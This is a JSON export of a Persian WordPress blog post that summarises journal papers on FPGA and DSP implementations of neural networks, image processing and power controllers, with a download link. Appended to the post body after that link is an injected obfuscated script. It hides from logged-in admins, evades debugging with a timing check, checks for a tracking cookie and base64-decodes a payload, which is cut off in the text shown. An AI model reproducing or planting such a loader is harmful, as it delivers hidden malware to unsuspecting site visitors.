{"id":454,"date":"2016-12-17T23:21:17","date_gmt":"2016-12-17T19:51:17","guid":{"rendered":"http:\/\/www.avandprojeh.com\/?p=454"},"modified":"2026-02-19T19:21:41","modified_gmt":"2026-02-19T15:51:41","slug":"%d9%85%d9%82%d8%a7%d9%84%d8%a7%d8%aa-%d9%be%db%8c%d8%a7%d8%af%d9%87-%d8%b3%d8%a7%d8%b2%db%8c-%d8%b1%d9%88%db%8c-%d8%b3%d8%ae%d8%aa-%d8%a7%d9%81%d8%b2%d8%a7%d8%b1","status":"publish","type":"post","link":"https:\/\/www.avandprojeh.ir\/?p=454","title":{"rendered":"\u0645\u0642\u0627\u0644\u0627\u062a \u067e\u06cc\u0627\u062f\u0647 \u0633\u0627\u0632\u06cc \u0631\u0648\u06cc \u0633\u062e\u062a \u0627\u0641\u0632\u0627\u0631"},"content":{"rendered":"<p style=\"text-align: justify;\"><span style=\"font-family: georgia, palatino, serif; font-size: 12pt;\">\u062f\u0631 \u0627\u06cc\u0646 \u0645\u0642\u0627\u0644\u0627\u062a \u06a9\u0647 \u062f\u0631 \u0644\u06cc\u0646\u06a9 \u062f\u0627\u0646\u0644\u0648\u062f \u0645\u0642\u0627\u0644\u0627\u062a\u00a0\u0645\u0648\u062c\u0648\u062f \u0645\u06cc \u0628\u0627\u0634\u062f \u0646\u062d\u0648\u0647 \u067e\u06cc\u0627\u062f\u0647 \u0633\u0627\u0632\u06cc \u0631\u0648\u06cc \u0633\u062e\u062a \u0627\u0641\u0632\u0627\u0631 \u0627\u0646\u0648\u0627\u0639 \u0634\u0628\u06a9\u0647 \u0639\u0635\u0628\u06cc\u060c \u0627\u0644\u06af\u0648\u0631\u06cc\u062a\u0645 \u0647\u0627\u06cc \u067e\u0631\u062f\u0627\u0632\u0634 \u062a\u0635\u0648\u06cc\u0631\u0648 \u0627\u0644\u06af\u0648\u0631\u06cc\u062a\u0645 \u0647\u0627\u06cc \u062f\u06cc\u06af\u0631\u0628\u0631 \u0631\u0648\u06cc \u0628\u0633\u062a\u0631\u0647\u0627\u06cc \u0633\u062e\u062a \u0627\u0641\u0632\u0627\u0631\u06cc \u0645\u0627\u0646\u0646\u062f FPGA,DSP \u0648 \u063a\u06cc\u0631\u0647 \u0628\u0631\u0631\u0633\u06cc \u0645\u06cc \u0634\u0648\u062f. \u0645\u0642\u0627\u0644\u0627\u062a \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0645\u062c\u0644\u0647 Sicence direct \u0627\u0633\u062a \u0648 \u0645\u0642\u0627\u0644\u0627\u062a \u0698\u0648\u0631\u0646\u0627\u0644 \u062f\u0627\u0631\u0627\u06cc Impact factor \u0628\u06cc\u0646\u00a0 2 \u062a\u0627 6 \u0647\u0633\u062a\u0646\u062f.<\/span><\/p>\n<h3><span style=\"font-family: georgia, palatino, serif;\">\u0639\u0646\u0648\u0627\u0646 \u0645\u0642\u0627\u0644\u0647 \u0647\u0627:<\/span><\/h3>\n<p><span style=\"font-size: 14pt;\"><strong>Real time fabric defect detection system on an embedded DSP platform<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt; font-family: georgia, palatino, serif;\">\u0627\u06cc\u0646 \u0645\u0642\u0627\u0644\u0647 \u062f\u0631 \u0632\u0645\u06cc\u0646\u0647 \u067e\u0631\u062f\u0627\u0632\u0634 \u062a\u0635\u0648\u06cc\u0631 \u0627\u0633\u062a\u00a0\u0648 \u0631\u0648\u06cc \u0646\u0642\u0635\u06cc \u06a9\u0647 \u062f\u0631 \u06cc\u06a9 \u0628\u0627\u0641\u062a \u0645\u0646\u0638\u0645 (Texture) \u0627\u06cc\u062c\u0627\u062f \u0645\u06cc \u0634\u0648\u062f \u06a9\u0627\u0631 \u0645\u06cc \u06a9\u0646\u062f \u0648 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0645\u0627\u062a\u0631\u06cc\u0633 \u0647\u0645\u0631\u062e\u062f\u0627\u062f\u06cc GLCM \u0628\u0647 \u0635\u0648\u0631\u062a \u0628\u0644\u0627\u062f\u0631\u0646\u06af (Real time) \u0646\u0642\u0635 \u0628\u0627\u0641\u062a \u0631\u0627 \u062a\u0634\u062e\u06cc\u0635 \u0645\u06cc \u062f\u0647\u062f. \u0627\u06cc\u0646 \u0627\u0644\u06af\u0648\u0631\u06cc\u062a\u0645 \u0628\u0631 \u0631\u0648\u06cc DSP \u067e\u06cc\u0627\u062f\u0647 \u0633\u0627\u0632\u06cc \u0634\u062f\u0647 \u0627\u0633\u062a.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-478 size-medium\" src=\"http:\/\/www.avandprojeh.com\/wp-content\/uploads\/2016\/12\/paper1-163x300.jpg\" alt=\"paper1\" width=\"163\" height=\"300\" srcset=\"https:\/\/www.avandprojeh.ir\/wp-content\/uploads\/2016\/12\/paper1-163x300.jpg 163w, https:\/\/www.avandprojeh.ir\/wp-content\/uploads\/2016\/12\/paper1.jpg 256w\" sizes=\"auto, (max-width: 163px) 100vw, 163px\" \/><\/p>\n<p>\u062a\u0634\u062e\u06cc\u0635 \u0646\u0642\u0635 \u0628\u0627\u0641\u062a \u0648 \u067e\u06cc\u0627\u062f\u0647 \u0633\u0627\u0632\u06cc \u0631\u0648\u06cc \u0633\u062e\u062a \u0627\u0641\u0632\u0627\u0631<\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li><span style=\"font-size: 14pt;\">\u00a0<strong>SOM neural network design &#8211; A new simulink library based approach Targeting FPGA implementation<\/strong><\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-family: georgia, palatino, serif; font-size: 12pt;\">\u062f\u0631 \u0627\u06cc\u0646 \u0645\u0642\u0627\u0644\u0647 \u06cc\u06a9 \u0634\u0628\u06a9\u0647 \u0639\u0635\u0628\u06cc (SOM (self organizing map \u0628\u0631\u0648\u06cc FPGA \u00a0\u0628\u0647 \u0635\u0648\u0631\u062a\u06cc \u067e\u06cc\u0627\u062f\u0647 \u0633\u0627\u0632\u06cc \u0634\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u0634\u0628\u06a9\u0647 \u0628\u0631 \u0631\u0648\u06cc FPGA \u0642\u0627\u062f\u0631 \u0628\u0647 \u0622\u0645\u0648\u062e\u062a\u0646 \u0627\u0633\u062a \u0648 \u06cc\u06a9 \u0634\u0628\u06a9\u0647 \u0639\u0635\u0628\u06cc \u067e\u0648\u06cc\u0627 \u0628\u0647 \u062d\u0633\u0627\u0628 \u0645\u06cc \u0622\u06cc\u062f. \u0628\u0631\u0627\u06cc \u067e\u06cc\u0627\u062f\u0647 \u0633\u0627\u0632\u06cc \u0627\u0632 \u0645\u062d\u06cc\u0637 \u0633\u06cc\u0645\u0648\u0644\u06cc\u0646\u06a9 Math work \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a.<\/span><\/p>\n<ul>\n<li><span style=\"font-size: 14pt;\"><strong>FPGA implementation of a wavelet neural network with particle swarm optimization learning<\/strong><\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-family: georgia, palatino, serif; font-size: 12pt;\">\u062f\u0631 \u0627\u06cc\u0646 \u0645\u0642\u0627\u0644\u0647 \u06cc\u06a9 \u0634\u0628\u06a9\u0647 \u0639\u0635\u0628\u06cc \u0628\u0627 \u062a\u0627\u0628\u0639 \u0641\u0639\u0627\u0644 \u0633\u0627\u0632\u06cc \u0648\u06cc\u0648\u0644\u062a \u06a9\u0647 \u0628\u0647 \u0627\u062e\u062a\u0635\u0627\u0631 \u0634\u0628\u06a9\u0647 \u0639\u0635\u0628\u06cc WNN \u0646\u0627\u0645\u06cc\u062f\u0647 \u0645\u06cc \u0634\u0648\u062f \u0628\u0631 \u0631\u0648\u06cc FPGA \u067e\u06cc\u0627\u062f\u0647 \u0633\u0627\u0632\u06cc \u0634\u062f\u0647 \u0627\u0633\u062a. \u0628\u0631\u0627\u06cc \u0628\u0647\u06cc\u0646\u0647 \u06a9\u0631\u062f\u0646 \u067e\u06cc\u0627\u062f\u0647 \u0633\u0627\u0632\u06cc \u0648 \u06a9\u0627\u0647\u0634 \u0645\u0646\u0627\u0628\u0639 FPGA \u0628\u0647 \u062c\u0627\u06cc \u0627\u0644\u06af\u0648\u0631\u06cc\u062a\u0645 \u06af\u0631\u0627\u062f\u06cc\u0627\u0646 \u0645\u062d\u0644\u06cc \u062f\u0631 \u0634\u0628\u06a9\u0647 \u0647\u0627\u06cc \u0639\u0635\u0628\u06cc \u06a9\u0647 \u0628\u0633\u06cc\u0627\u0631 \u0645\u062a\u062f\u0627\u0648\u0644 \u0627\u0633\u062a \u0627\u0632 \u0627\u0644\u06af\u0648\u0631\u06cc\u062a\u0645 (PSO (particle swarm optimization \u00a0\u0627\u0633\u062a\u062a\u0641\u0627\u062f\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a.<\/span><\/p>\n<ul>\n<li><strong><span style=\"font-size: 14pt;\">Hardware implementation of a pulse mode neural network-based edge detection system<\/span><\/strong><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-family: georgia, palatino, serif; font-size: 12pt;\">\u062f\u0631 \u0627\u06cc\u0646 \u0645\u0642\u0627\u0644\u0647 \u06cc\u06a9 \u0634\u0628\u06a9\u0647 \u0639\u0635\u0628\u06cc pulse mode \u06a9\u0647 \u062f\u0631 \u0633\u0627\u0644 \u0647\u0627\u06cc \u0627\u062e\u06cc\u0631 \u0645\u0648\u0631\u062f \u062a\u0648\u062c\u0647 \u0628\u0633\u06cc\u0627\u0631\u06cc \u0627\u0632 \u0645\u062d\u0642\u0642\u0627\u0646 \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a\u0647 \u0627\u0633\u062a \u0628\u0631 \u0631\u0648\u06cc \u06cc\u06a9 FPGA \u0627\u0632 \u062e\u0627\u0646\u0648\u0627\u062f\u0647 Virtex \u067e\u06cc\u0627\u062f\u0647 \u0633\u0627\u0632\u06cc \u0634\u062f\u0647 \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0634\u0628\u06a9\u0647 \u0639\u0635\u0628\u06cc \u06a9\u0647 \u0628\u0627 \u0646\u0627\u0645 PNN \u0634\u0647\u0631\u062a \u062f\u0627\u0631\u062f \u0639\u0645\u0644\u06cc\u0627\u062a \u0639\u0628\u0648\u0631 \u0633\u06cc\u06af\u0646\u0627\u0644 \u062f\u0631 \u062f\u0627\u062e\u0644 \u0634\u0628\u06a9\u0647 \u0631\u0627 \u0628\u0627 \u067e\u0627\u0644\u0633 \u0647\u0627\u06cc \u0645\u0639\u06cc\u0646 \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc \u062f\u0647\u062f \u0648 \u0628\u0647 \u062e\u0627\u0637\u0631 \u0646\u0648\u0639 \u062a\u0627\u0628\u0639 \u0641\u0639\u0627\u0644 \u0633\u0627\u0632\u06cc \u06cc\u06a9 \u0634\u0628\u06a9\u0647 \u0628\u0647\u06cc\u0646\u0647 \u0628\u0631\u0627\u06cc \u0639\u0645\u0644\u06cc\u0627\u062a \u067e\u0631\u062f\u0627\u0632\u0634 \u062a\u0635\u0648\u06cc\u0631 \u0648 \u0641\u06cc\u0644\u062a\u0631\u06cc\u0646\u06af \u0645\u062e\u0633\u0648\u0628 \u0645\u06cc \u0634\u0648\u062f. \u062f\u0631 \u0627\u06cc\u0646 \u0645\u0642\u0627\u0644\u0647 \u0627\u0632 \u0644\u0628\u0647 \u06cc\u0627\u0628\u06cc \u0646\u0648\u0639 Canny \u0628\u0631 \u0631\u0648\u06cc \u062a\u0635\u0648\u06cc\u0631 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a \u0648 \u062a\u0635\u0627\u0648\u06cc\u0631 \u0647\u062f\u0641 \u0628\u0627 \u0627\u06cc\u0646 \u0627\u0644\u06af\u0648\u0631\u06cc\u062a\u0645 \u0644\u0628\u0647 \u06cc\u0627\u0628\u06cc \u0634\u062f\u0647 \u0627\u0646\u062f \u0648 \u062e\u0631\u0648\u062c\u06cc \u0634\u0628\u06a9\u0647 \u0646\u06cc\u0632 \u06cc\u06a9 \u062a\u0635\u0648\u06cc\u0631 \u0644\u0628\u0647 \u06cc\u0627\u0628\u06cc \u0634\u062f\u0647 \u0627\u0633\u062a.<\/span><\/p>\n<ul>\n<li><strong><span style=\"font-size: 14pt;\">Implementation of a MPPT fuzzy controller for photovoltaic systems on FPGA circuit<\/span><\/strong><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-family: georgia, palatino, serif; font-size: 12pt;\">\u062f\u0631 \u0627\u06cc\u0646 \u0645\u0642\u0627\u0644\u0647 \u06cc\u06a9 \u0633\u06cc\u0633\u062a\u0645 \u0631\u062f\u06cc\u0627\u0628 \u0628\u06cc\u0634\u06cc\u0646\u0647 \u00a0\u0642\u062f\u0631\u062a \u0627\u0646\u062a\u0642\u0627\u0644\u06cc \u00a0(MPPT) \u0628\u0631\u0627\u06cc \u0627\u0646\u062a\u0642\u0627\u0644 \u0628\u06cc\u0634\u06cc\u0646\u0647 \u0648\u0644\u062a\u0627\u0698 \u062a\u0648\u0644\u06cc\u062f \u0634\u062f\u0647 \u0627\u0632 \u0633\u0644\u0648\u0644 \u0647\u0627\u06cc \u0641\u062a\u0648\u0648\u0644\u062a\u0627\u06cc\u06cc\u06a9 \u06a9\u0647 \u0628\u0627 \u06a9\u0646\u062a\u0631\u0644 \u06a9\u0646\u0646\u062f\u0647 \u0641\u0627\u0632\u06cc Fuzzy Logic \u06a9\u0627\u0631 \u0645\u06cc \u06a9\u0646\u062f \u0628\u0631 \u0631\u0648\u06cc FPGA \u0627\u0632 \u062e\u0627\u0646\u0648\u0627\u062f\u0647 Virtex \u067e\u06cc\u0627\u062f\u0647 \u0633\u0627\u0632\u06cc \u0634\u062f\u0647 \u0627\u0633\u062a. \u0628\u0627 \u0627\u0639\u0645\u0627\u0644 \u0627\u06cc\u0646 \u0633\u06cc\u0633\u062a\u0645 \u0633\u0644\u0648\u0644 \u0641\u062a\u0648 \u0648\u0644\u062a\u0627\u06cc\u06cc\u06a9 \u0642\u0627\u062f\u0631 \u0627\u0633\u062a \u062f\u0631 \u0647\u0631 \u062f\u0645\u0627\u060c \u0631\u0637\u0648\u0628\u062a \u0648 \u0634\u0631\u0627\u06cc\u0637\u06cc \u0628\u06cc\u0634\u062a\u0631\u06cc\u0646 \u062a\u0648\u0627\u0646 \u062e\u0631\u0648\u062c\u06cc \u0631\u0627 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u062f.<\/span><\/p>\n<ul>\n<li><strong><span style=\"font-size: 14pt;\">An FPGA Implementation of an Investment Strategy Processor<\/span><\/strong><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-family: georgia, palatino, serif; font-size: 12pt;\">\u0627\u06cc\u0646 \u0645\u0642\u0627\u0644\u0647 \u06cc\u06a9\u06cc \u0627\u0632 \u0645\u0642\u0627\u0644\u0627\u062a \u062c\u0627\u0644\u0628 \u062a\u0648\u062c\u0647 \u062f\u0631 \u0632\u0645\u06cc\u0646\u0647 \u0645\u0648\u0627\u0632\u06cc \u0633\u0627\u0632\u06cc \u0627\u0633\u062a. \u0642\u062f\u0631\u062a \u0633\u062e\u062a \u0627\u0641\u0632\u0627\u0631 \u0647\u0627\u06cc\u06cc \u0645\u0627\u0646\u0646\u062f FPGA \u062f\u0631 \u0634\u06a9\u0633\u062a\u0646 \u0648 \u062a\u06a9\u0647 \u062a\u06a9\u0647 \u06a9\u0631\u062f\u0646 \u0627\u0644\u06af\u0648\u0631\u06cc\u062a\u0645 \u0647\u0627 \u0648 \u067e\u0631\u062f\u0627\u0632\u0634 \u0645\u0648\u0627\u0632\u06cc \u0622\u0646\u0647\u0627 \u0627\u0632 \u06cc\u06a9 \u0637\u0631\u0641 \u0648 \u0627\u062a\u0635\u0627\u0644 \u0622\u0646\u0647\u0627 \u062f\u0631 \u067e\u0631\u062f\u0627\u0632\u0634 \u0647\u0627\u06cc \u0632\u0645\u0627\u0646\u0628\u0631 \u0627\u0632 \u0634\u0627\u062e\u0635\u0647 \u0647\u0627\u06cc \u0628\u0627\u0631\u0632 \u0627\u06cc\u0646 \u0633\u062e\u062a \u0627\u0641\u0632\u0627\u0631 \u0645\u062d\u0633\u0648\u0628 \u0645\u06cc \u0634\u0648\u062f. \u062f\u0631 \u0627\u06cc\u0646 \u0645\u0642\u0627\u0644\u0647 \u0646\u06cc\u0632 \u0628\u0631\u0627\u06cc \u0645\u062d\u0627\u0633\u0628\u0627\u062a \u0627\u0631\u0632\u0634 \u0627\u0648\u0631\u0627\u0642 \u0628\u0647\u0627\u062f\u0627\u0631 \u0627\u0632 \u0645\u062a\u0635\u0644 \u06a9\u0631\u062f\u0646 16 FPGA \u00a0\u0628\u0647 \u06cc\u06a9\u062f\u06cc\u06af\u0631 \u0646\u062a\u0627\u06cc\u062c \u062c\u0627\u0644\u0628 \u062a\u0648\u062c\u0647\u06cc \u0628\u062f\u0633\u062a \u0622\u0645\u062f\u0647 \u0627\u0633\u062a. \u062f\u0631 \u06cc\u06a9 \u062a\u0633\u062a \u0645\u0634\u0627\u0628\u0647 \u0628\u06cc\u0646 \u0627\u06cc\u0646 \u0633\u06cc\u0633\u062a\u0645 \u0648 \u06cc\u06a9 \u06a9\u0627\u0645\u067e\u06cc\u0648\u062a\u0631 \u0642\u062f\u0631\u062a\u0645\u0646\u062f\u00a0Core i7 \u0646\u062a\u0627\u06cc\u062c \u0646\u0634\u0627\u0646 \u0645\u06cc \u062f\u0647\u062f \u06a9\u0647 \u0632\u0645\u0627\u0646 \u0645\u062d\u0627\u0633\u0628\u0627\u062a \u0627\u0632 44 \u0633\u0627\u0639\u062a \u0628\u0647 9 \u062b\u0627\u0646\u06cc\u0647 \u06a9\u0627\u0647\u0634 \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a. \u0647\u0645\u0686\u0646\u06cc\u0646 \u0627\u0632 \u0646\u0638\u0631 \u0645\u0635\u0631\u0641 \u0627\u0646\u0631\u0698\u06cc \u0646\u06cc\u0632\u060c \u0627\u0646\u0631\u0698\u06cc \u0627\u0632 11 \u06a9\u06cc\u0644\u0648\u0648\u0627\u062a \u0633\u0627\u0639\u062a \u0628\u0647 1 \u0648\u0627\u062a \u06a9\u0627\u0647\u0634 \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0647 \u06a9\u0647 \u062f\u0631 \u0646\u0648\u0639 \u062e\u0648\u062f \u0628\u06cc \u0646\u0638\u06cc\u0631 \u0627\u0633\u062a.<\/span><\/p>\n<ul>\n<li><span style=\"font-size: 14pt;\"><strong>Brain Process: hardware\/software Complex System using Logic Circuits in FPGA Array named Vocalis<\/strong><\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt; font-family: georgia, palatino, serif;\">\u0627\u06cc\u0646 \u0645\u0642\u0627\u0644\u0647 \u0628\u0627\u0632 \u0645\u06cc \u06af\u0631\u062f\u062f \u0628\u0647 \u0633\u0627\u062e\u062a\u0627\u0631 \u062e\u0648\u062f FPGA \u0648 \u0633\u0631\u0639\u062a \u0639\u0645\u0644\u06a9\u0631\u062f \u06af\u06cc\u062a \u0647\u0627 \u062f\u0631 \u0647\u0631 \u067e\u0627\u0644\u0633 \u062f\u0631 \u0645\u062d\u0627\u0633\u0628\u0627\u062a \u0645\u062e\u062a\u0644\u0641. \u062f\u0631 \u0648\u0627\u0642\u0639 \u06a9\u0646\u062a\u0631\u0644 \u0647\u0627\u06cc\u06cc \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u062f \u06a9\u0647 \u062a\u0648\u0633\u0637 \u06cc\u06a9 PC \u0628\u0631 \u0631\u0648\u06cc FPGA \u0627\u0639\u0645\u0627\u0644 \u0645\u06cc \u0634\u0648\u0646\u062f \u0648 \u0646\u062d\u0648\u0647 \u0639\u0645\u0644\u06a9\u0631\u062f \u06af\u06cc\u062a \u0647\u0627 \u0648 \u0622\u0631\u0627\u06cc\u0647 \u0647\u0627 \u0631\u0627 \u062f\u0631 FPGA \u0628\u0631\u0631\u0633\u06cc \u0648 \u0627\u0646\u062f\u0627\u0632\u0647 \u06af\u06cc\u0631\u06cc \u0645\u06cc \u06a9\u0646\u0646\u062f. \u062f\u0631 \u0627\u06cc\u0646 \u0645\u0642\u0627\u0644\u0647 \u0646\u06cc\u0632 \u0645\u062f\u0627\u0631\u06cc \u0628\u0631\u0627\u06cc \u0639\u0645\u0644\u06a9\u0631\u062f \u0645\u062d\u0627\u0633\u0628\u0627\u062a \u0639\u062f\u062f\u06cc FPGA \u0637\u0631\u0627\u062d\u06cc \u0634\u062f\u0647 \u0648 \u0646\u062d\u0648\u0647 \u0639\u0645\u0644\u06a9\u0631\u062f \u0622\u0646 \u062f\u0631 \u0645\u062d\u0627\u0633\u0628\u0627\u062a\u06cc \u0645\u0627\u0646\u0646\u062f \u062a\u0634\u062e\u06cc\u0635 \u0635\u062f\u0627\u060c \u0633\u0646\u062a\u0632 \u0635\u062f\u0627 \u0648 \u062a\u0634\u062e\u06cc\u0635 \u062a\u0635\u0648\u06cc\u0631 \u062a\u0648\u0633\u0637 \u0634\u0628\u06a9\u0647 \u062e\u0648\u062f \u0633\u0627\u0632\u0645\u0627\u0646\u062f\u0647 SOM \u0628\u0631\u0631\u0633\u06cc \u0634\u062f\u0647 \u0648 \u0628\u0627 \u0646\u0631\u0645 \u0627\u0641\u0632\u0627\u0631 \u062f\u0631 PC \u0627\u0632 \u0646\u0638\u0631 \u0633\u0631\u0639\u062a \u0645\u0642\u0627\u06cc\u0633\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a.<\/span><\/p>\n<ul>\n<li><span style=\"font-size: 14pt;\"><strong>A Review of Pioneer Fiction Realization of Embedded Core FPGA Based Control of Single Phase to Three Phase SVPWM Converter for Electrical Drives<\/strong><\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt; font-family: georgia, palatino, serif;\">\u062f\u0631 \u0627\u06cc\u0646 \u0645\u0642\u0627\u0644\u0647 \u06cc\u06a9 \u062a\u0628\u062f\u06cc\u0644 \u06a9\u0646\u0646\u062f\u0647 \u062a\u06a9 \u0641\u0627\u0632 \u0628\u0647 \u0633\u0647 \u0641\u0627\u0632\u00a0(SPTTPC) \u0628\u0631\u0631\u0633\u06cc \u0645\u06cc \u0634\u0648\u062f \u06a9\u0647 \u062a\u0648\u0633\u0637 \u06cc\u06a9 FPGA \u06a9\u0646\u062a\u0631\u0644 \u0645\u06cc \u0634\u0648\u062f. \u0633\u06cc\u0633\u062a\u0645\u00a0(SPTTPC) \u0627\u0632 \u06af\u06cc\u062a \u0647\u0627\u06cc \u0645\u0646\u0637\u0642\u06cc \u0633\u0627\u062e\u062a\u0647 \u0634\u062f\u0647 \u06a9\u0647 \u06a9\u0646\u062a\u0631\u0644 \u0627\u06cc\u0646 \u06af\u06cc\u062a \u0647\u0627 \u062a\u0648\u0633\u0637 \u06cc\u06a9 \u0633\u06cc\u0633\u062a\u0645\u00a0SVPWM \u06a9\u0647 \u062f\u0627\u0631\u0627\u06cc \u0639\u0631\u0636 \u067e\u0627\u0644\u0633 \u0645\u062a\u0641\u0627\u0648\u062a \u0627\u0633\u062a \u0648 \u0627\u0632 FPGA \u0633\u0627\u062e\u062a\u0647 \u0634\u062f\u0647 \u0635\u0648\u0631\u062a \u06af\u0631\u0641\u062a\u0647 \u0627\u0633\u062a. \u0646\u062a\u0627\u06cc\u062c \u0646\u0634\u0627\u0646 \u0645\u06cc \u062f\u0647\u062f \u06a9\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 FPGA \u0628\u0631\u0627\u06cc \u0639\u0631\u0636 \u067e\u0627\u0644\u0633 \u062f\u0631 \u0628\u0627\u0631\u0647\u0627\u06cc \u0645\u062a\u0641\u0627\u0648\u062a \u0633\u0631\u06cc\u0639\u062a\u0631 \u0648 \u0645\u0642\u0631\u0648\u0646 \u0628\u0647 \u0635\u0631\u0641\u0647 \u062a\u0631 \u0627\u0633\u062a \u0646\u0633\u0628\u062a \u0628\u0647 \u0631\u0648\u0634 \u0647\u0627\u06cc \u062f\u06cc\u06af\u0631.<\/span><\/p>\n<p><a href=\"http:\/\/s8.picofile.com\/file\/8278912984\/fpga_papers.rar.html\" target=\"_blank\" rel=\"noopener\">\u0644\u06cc\u0646\u06a9 \u062f\u0627\u0646\u0644\u0648\u062f \u0645\u0642\u0627\u0644\u0627\u062a<\/a><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var 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\u0631\u0648\u06cc \u0633\u062e\u062a \u0627\u0641\u0632\u0627\u0631 \u0627\u0646\u0648\u0627\u0639 \u0634\u0628\u06a9\u0647 \u0639\u0635\u0628\u06cc\u060c \u0627\u0644\u06af\u0648\u0631\u06cc\u062a\u0645 \u0647\u0627\u06cc \u067e\u0631\u062f\u0627\u0632\u0634 \u062a\u0635\u0648\u06cc\u0631\u0648 \u0627\u0644\u06af\u0648\u0631\u06cc\u062a\u0645 \u0647\u0627\u06cc \u062f\u06cc\u06af\u0631\u0628\u0631 \u0631\u0648\u06cc \u0628\u0633\u062a\u0631\u0647\u0627\u06cc \u0633\u062e\u062a \u0627\u0641\u0632\u0627\u0631\u06cc \u0645\u0627\u0646\u0646\u062f FPGA,DSP \u0648 \u063a\u06cc\u0631\u0647 \u0628\u0631\u0631\u0633\u06cc \u0645\u06cc \u0634\u0648\u062f. \u0645\u0642\u0627\u0644\u0627\u062a \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0645\u062c\u0644\u0647 Sicence direct \u0627\u0633\u062a \u0648 \u0645\u0642\u0627\u0644\u0627\u062a \u0698\u0648\u0631\u0646\u0627\u0644 \u062f\u0627\u0631\u0627\u06cc Impact factor \u0628\u06cc\u0646\u00a0 2 \u062a\u0627 6 \u0647\u0633\u062a\u0646\u062f. &hellip;<\/p>\n","protected":false},"author":1,"featured_media":541,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[68],"tags":[75,73,35,32,29,31],"class_list":["post-454","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-papers","tag-fpga-implementation-2","tag-pso","tag-image-processing","tag-real-time-image-processing","tag-fpga-implementation","tag-multilayer-perceptron"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.9 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\r\n<title>\u0645\u0642\u0627\u0644\u0627\u062a \u067e\u06cc\u0627\u062f\u0647 \u0633\u0627\u0632\u06cc \u0631\u0648\u06cc \u0633\u062e\u062a \u0627\u0641\u0632\u0627\u0631 - Avandprojeh<\/title>\r\n<meta name=\"description\" content=\"\u0646\u062d\u0648\u0647 \u067e\u06cc\u0627\u062f\u0647 \u0633\u0627\u0632\u06cc \u0631\u0648\u06cc \u0633\u062e\u062a \u0627\u0641\u0632\u0627\u0631 \u0627\u0646\u0648\u0627\u0639 \u0634\u0628\u06a9\u0647 \u0639\u0635\u0628\u06cc \u0648 \u0627\u0644\u06af\u0648\u0631\u06cc\u062a\u0645 \u0647\u0627\u06cc \u067e\u0631\u062f\u0627\u0632\u0634 \u062a\u0635\u0648\u06cc\u0631\u0628\u0631 \u0631\u0648\u06cc \u0628\u0633\u062a\u0631\u0647\u0627\u06cc \u0633\u062e\u062a \u0627\u0641\u0632\u0627\u0631\u06cc \u0645\u0627\u0646\u0646\u062f FPGA,DSP \u0648 \u063a\u06cc\u0631\u0647 \u0628\u0631\u0631\u0633\u06cc \u0645\u06cc \u0634\u0648\u062f.\" \/>\r\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\r\n<link rel=\"canonical\" href=\"https:\/\/www.avandprojeh.ir\/?p=454\" \/>\r\n<meta property=\"og:locale\" content=\"fa_IR\" \/>\r\n<meta property=\"og:type\" content=\"article\" \/>\r\n<meta property=\"og:title\" content=\"\u0645\u0642\u0627\u0644\u0627\u062a \u067e\u06cc\u0627\u062f\u0647 \u0633\u0627\u0632\u06cc \u0631\u0648\u06cc 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